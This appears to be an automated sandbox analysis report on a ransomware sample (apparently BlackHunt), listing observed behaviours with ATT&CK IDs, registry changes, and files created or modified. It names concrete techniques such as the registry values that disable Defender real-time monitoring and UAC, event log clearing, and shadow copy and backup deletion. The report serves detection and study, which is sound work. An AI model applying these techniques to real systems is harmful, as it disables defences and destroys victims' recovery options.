38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d

Data Destruction

T1485

pid	Process
7052	fsutil.exe
13584	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
13240	wevtutil.exe
9312	wevtutil.exe
1684	wevtutil.exe
14044	wevtutil.exe
7552	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
6536	bcdedit.exe
10468	bcdedit.exe
11156	bcdedit.exe
13548	bcdedit.exe

Renames multiple (1627) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
10472	wbadmin.exe
13900	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\R:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\G:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\H:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\V:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\S:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\K:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\B:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\J:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\W:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\E:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\U:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\P:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\L:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\M:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\I:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\A:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\N:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\Y:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\O:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\Z:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\X:	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened (read-only)	\??\F:	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_super.gif	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_signed_out.svg	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_sortedby_18.svg	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pt-br\ui-strings.js	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nn.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\S_IlluEmptyStateCCFiles_280x192.svg	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\nl-nl\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightRegular.ttf	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\#BlackHunt_ReadMe.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\pmd.cer	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_filterselected-dark-default_32.svg	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-gb\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\main-selector.css	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\custom.lua	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\ui-strings.js	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-il\ui-strings.js	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-up.gif	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\CIEXYZ.pf	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\#BlackHunt_ReadMe.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_output\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\vocaroo.luac	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ar-ae\#BlackHunt_ReadMe.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sv-se\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-sl\#BlackHunt_ReadMe.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_fillandsign_18.svg	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-mac.css	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_cancel_18.svg	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklist	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\#BlackHunt_ReadMe.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\es-es\ui-strings.js	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvSOFT.x3d	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzmappings	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\modules\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-il\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sk-sk\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hu-hu\ui-strings.js	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nb-no\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\it-it\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#BlackHunt_ReadMe.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\#BlackHunt_ReadMe.txt	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\#BlackHunt_Private.key	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_de.properties	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\modules\dkjson.luac	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\ui-strings.js	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\zh-cn\#BlackHunt_ReadMe.hta	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
64	8256	WerFault.exe	291

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
10544	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
7528	vssadmin.exe
6436	vssadmin.exe
6580	vssadmin.exe
11888	vssadmin.exe
6556	vssadmin.exe
10452	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
13188	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	Conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	Conhost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
14316	PING.EXE

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
Token: SeRestorePrivilege	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
Token: SeBackupPrivilege	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
Token: SeTakeOwnershipPrivilege	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
Token: SeAuditPrivilege	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
Token: SeSecurityPrivilege	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
Token: SeIncBasePriorityPrivilege	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
Token: SeBackupPrivilege	11936	wbengine.exe
Token: SeRestorePrivilege	11936	wbengine.exe
Token: SeSecurityPrivilege	11936	wbengine.exe
Token: SeBackupPrivilege	6496	vssvc.exe
Token: SeRestorePrivilege	6496	vssvc.exe
Token: SeAuditPrivilege	6496	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1220 wrote to memory of 3984	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	101
PID 1220 wrote to memory of 3984	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	101
PID 1220 wrote to memory of 1676	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	100
PID 1220 wrote to memory of 1676	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	100
PID 1220 wrote to memory of 3684	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	94
PID 1220 wrote to memory of 3684	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	94
PID 1220 wrote to memory of 4264	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	95
PID 1220 wrote to memory of 4264	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	95
PID 1220 wrote to memory of 628	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	99
PID 1220 wrote to memory of 628	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	99
PID 1220 wrote to memory of 3396	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	218
PID 1220 wrote to memory of 3396	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	218
PID 1220 wrote to memory of 984	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	216
PID 1220 wrote to memory of 984	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	216
PID 1220 wrote to memory of 1784	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	102
PID 1220 wrote to memory of 1784	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	102
PID 3984 wrote to memory of 1016	3984	cmd.exe	105
PID 3984 wrote to memory of 1016	3984	cmd.exe	105
PID 3684 wrote to memory of 4260	3684	cmd.exe	124
PID 3684 wrote to memory of 4260	3684	cmd.exe	124
PID 628 wrote to memory of 2108	628	cmd.exe	103
PID 628 wrote to memory of 2108	628	cmd.exe	103
PID 4264 wrote to memory of 3816	4264	cmd.exe	106
PID 4264 wrote to memory of 3816	4264	cmd.exe	106
PID 1220 wrote to memory of 1628	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	214
PID 1220 wrote to memory of 1628	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	214
PID 1220 wrote to memory of 4392	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	212
PID 1220 wrote to memory of 4392	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	212
PID 1220 wrote to memory of 4820	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	210
PID 1220 wrote to memory of 4820	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	210
PID 1220 wrote to memory of 4980	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	209
PID 1220 wrote to memory of 4980	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	209
PID 1676 wrote to memory of 3800	1676	cmd.exe	211
PID 1676 wrote to memory of 3800	1676	cmd.exe	211
PID 1220 wrote to memory of 3044	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	207
PID 1220 wrote to memory of 3044	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	207
PID 1220 wrote to memory of 2764	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	206
PID 1220 wrote to memory of 2764	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	206
PID 1220 wrote to memory of 1804	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	204
PID 1220 wrote to memory of 1804	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	204
PID 1220 wrote to memory of 2916	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	203
PID 1220 wrote to memory of 2916	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	203
PID 1220 wrote to memory of 4520	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	111
PID 1220 wrote to memory of 4520	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	111
PID 1220 wrote to memory of 4676	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	200
PID 1220 wrote to memory of 4676	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	200
PID 1220 wrote to memory of 3608	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	199
PID 1220 wrote to memory of 3608	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	199
PID 1220 wrote to memory of 1524	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	114
PID 1220 wrote to memory of 1524	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	114
PID 1220 wrote to memory of 4324	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	197
PID 1220 wrote to memory of 4324	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	197
PID 1220 wrote to memory of 3980	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	115
PID 1220 wrote to memory of 3980	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	115
PID 1220 wrote to memory of 4672	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	117
